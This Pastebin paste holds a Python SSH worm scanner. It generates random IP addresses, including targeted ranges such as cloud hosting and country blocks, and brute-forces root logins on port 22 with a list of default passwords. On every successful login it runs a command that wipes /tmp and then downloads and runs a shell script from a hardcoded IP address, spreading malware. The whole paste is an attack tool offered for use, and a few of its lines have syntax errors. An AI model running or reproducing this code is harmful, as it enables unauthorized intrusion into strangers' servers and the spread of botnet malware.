daily pastebin goal
29%
SHARE
TWEET

Untitled

a guest Oct 23rd, 2017 54 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. """
  3.  
  4. # ___     __________  ____ _______      _____ _______________.___.  ___    
  5. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  6. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  7. #           |    |   \ |   /    |    \/    |    \    |   \\____   |          
  8. #           |______  / |___\____|__  /\____|__  /____|_  // ______|          
  9. #                  \/              \/         \/       \/ \/                
  10.  
  11. """
  12.  
  13. import threading, paramiko, random, socket, time, sys
  14.  
  15. cmd='cd /tmp; rm -rf *; wget -q http://208.67.1.182/gtop.sh; chmod +x gtop.sh; sh gtop.sh; rm -rf *\r\n'
  16. blacklist = [
  17.     '127'
  18. ]
  19. passwords = [
  20.     "root:root",
  21.     "root:centos6svm",
  22.     "root:admin",
  23.     "admin:admin",
  24.     "ubnt:ubnt"
  25.     "root:1234",
  26.     "root:123456",
  27.     "root:Love2020",
  28.     "root:Zero",
  29.     "root:Password",
  30.     "root:password",
  31.     "root:qwerty",
  32.     "root:dragon",
  33.     "root:pussy",
  34.     "root:baseball",
  35.     "root:football",
  36.     "root:monkey",
  37.     "root:696969",
  38.     "root:abc123",
  39. ]
  40.  
  41. if sys.argv[4] == '1':
  42.     passwords = ["root:root",
  43.     "root:centos6svm",
  44.     "root:admin",
  45.     "admin:admin",
  46.     "ubnt:ubnt"
  47.     "root:1234",
  48.     "root:123456",
  49.     "root:Love2020",
  50.     "root:Zero",
  51.     "root:Password",
  52.     "root:password",
  53.     "root:qwerty",
  54.     "root:dragon",
  55.     "root:pussy",
  56.     "root:baseball",
  57.     "root:football",
  58.     "root:monkey",
  59.     "root:696969",
  60.     "root:abc123",]
  61.  
  62. ipclassinfo = sys.argv[2]
  63. if ipclassinfo == "A":
  64.     ip1 = sys.argv[3]
  65. elif ipclassinfo == "B":
  66.     ip1 = sys.argv[3].split(".")[0]
  67.     ip2 = sys.argv[3].split(".")[1]
  68. elif ipclassinfo == "C":
  69.     ips = sys.argv[3].split(".")
  70.     num=0
  71.     for ip in ips:
  72.         num=num+1
  73.         if num == 1:
  74.             ip1 = ip
  75.         elif num == 2:
  76.             ip2 = ip
  77.         elif num == 3:
  78.             ip3 = ip
  79. class sshscanner(threading.Thread):
  80.     global passwords
  81.     global ipclassinfo
  82.     if ipclassinfo == "A":
  83.         global ip1
  84.     elif ipclassinfo == "B":
  85.         global ip1
  86.         global ip2
  87.     elif ipclassinfo == "C":
  88.         global ip1
  89.         global ip2
  90.         global ip3
  91.     def run(self):
  92.         while 1:
  93.             try:
  94.                 while 1:
  95.                     thisipisbad='no'
  96.                     if ipclassinfo == "A":
  97.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))zz
  98.                     elif ipclassinfo == "B":
  99.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  100.                     elif ipclassinfo == "C":
  101.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  102.                     elif ipclassinfo == "BRAZIL":
  103.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  104.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  105.                     elif ipclassinfo == "SUPER":
  106.                         yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  107.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  108.                     elif ipclassinfo == "LUCKY":
  109.                         lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  110.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  111.                     elif ipclassinfo == "LUCKY2":
  112.                         lucky2 = ["122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]
  113.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  114.                     elif ipclassinfo == "LUCKY3":
  115.                         lucky3 = ["23.96","23.97","23.98","23.99","23.100","23.101","23.102","23.103","70.37","104.40","104.41","104.42","104.43","104.44","104.45","104.46","104.47","104.146","104.147","104.208","104.209","104.210","104.210","104.211","104.212","104.213","104.214","104.215","138.91","168.61","168.62","168.63","113.53","125.125","125.126","125.127"]
  116.                         self.host = random.choice(lucky3)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  117.                     elif ipclassinfo == "RAND":
  118.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  119.                     elif ipclassinfo == "INTERNET":
  120.                         lol = ["1"]
  121.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  122.                     elif ipclassinfo == "BUSYBOX":
  123.                         busyboxservers = ["199.180","142.0","158.69"]
  124.                         self.host = random.choice(busyboxservers)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  125.                     elif ipclassinfo == "OVH":
  126.                         ovh = ["5.39","5.135","5.196","8.7","8.18","8.20","8.21","8.24","8.29","8.30","8.33","37.59","37.187","46.105"]
  127.                         self.host = random.choice(ovh)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  128.                     elif ipclassinfo == "ECATEL":
  129.                         ecatel = ["89.248"]
  130.                         self.host = random.choice(ecatel)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  131.                     elif ipclassinfo == "CHINA":
  132.                         china = ["65.19","220.248"]
  133.                         self.host = random.choice(china)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  134.                     elif ipclassinfo == "INDIA":
  135.                         india = ["1.6","1.7","1.22","1.23"]
  136.                         self.host = random.choice(india)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  137.                     elif ipclassinfo == "CDN":
  138.                         cdn = ["217.106","217.106"]
  139.                         self.host = random.choice(cdn)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  140.                     elif ipclassinfo == "AWS"
  141.                         aws = ["23.20","27.0","27.22","43.250","46.0","47.0","50.15","51.0","52.0","52.100"]
  142.                         self.host = random.choice(aws)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  143.                     else:
  144.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  145.                     for badip in blacklist:
  146.                         if badip in self.host:
  147.                             thisipisbad='yes'
  148.                     if thisipisbad=='no':
  149.                         break
  150.                 username='root'
  151.                 password=""
  152.                 port = 22
  153.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  154.                 s.settimeout(3)
  155.                 s.connect((self.host, port))
  156.                 s.close()
  157.                 ssh = paramiko.SSHClient()
  158.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  159.                 dobreak=False
  160.                 for passwd in passwords:
  161.                     if ":n/a" in passwd:
  162.                         password=""
  163.                     else:
  164.                         password=passwd.split(":")[1]
  165.                     if "n/a:" in passwd:
  166.                         username=""
  167.                     else:
  168.                         username=passwd.split(":")[0]
  169.                     try:
  170.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  171.                         dobreak=True
  172.                         break
  173.                     except:
  174.                         pass
  175.                     if True == dobreak:
  176.                         break
  177.                 badserver=True
  178.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  179.                 output = stdout.read()
  180.                 if "inet addr" in output:
  181.                     badserver=False
  182.                 if badserver == False:
  183.                         print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
  184.                         ssh.exec_command(""+cmd+"")
  185.                         time.sleep(20)
  186.                         ssh.close()
  187.             except:
  188.                 pass
  189.  
  190. for x in range(0,int(sys.argv[1])):
  191.     try:
  192.         t = sshscanner()
  193.         t.start()
  194.     except:
  195.         pass
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top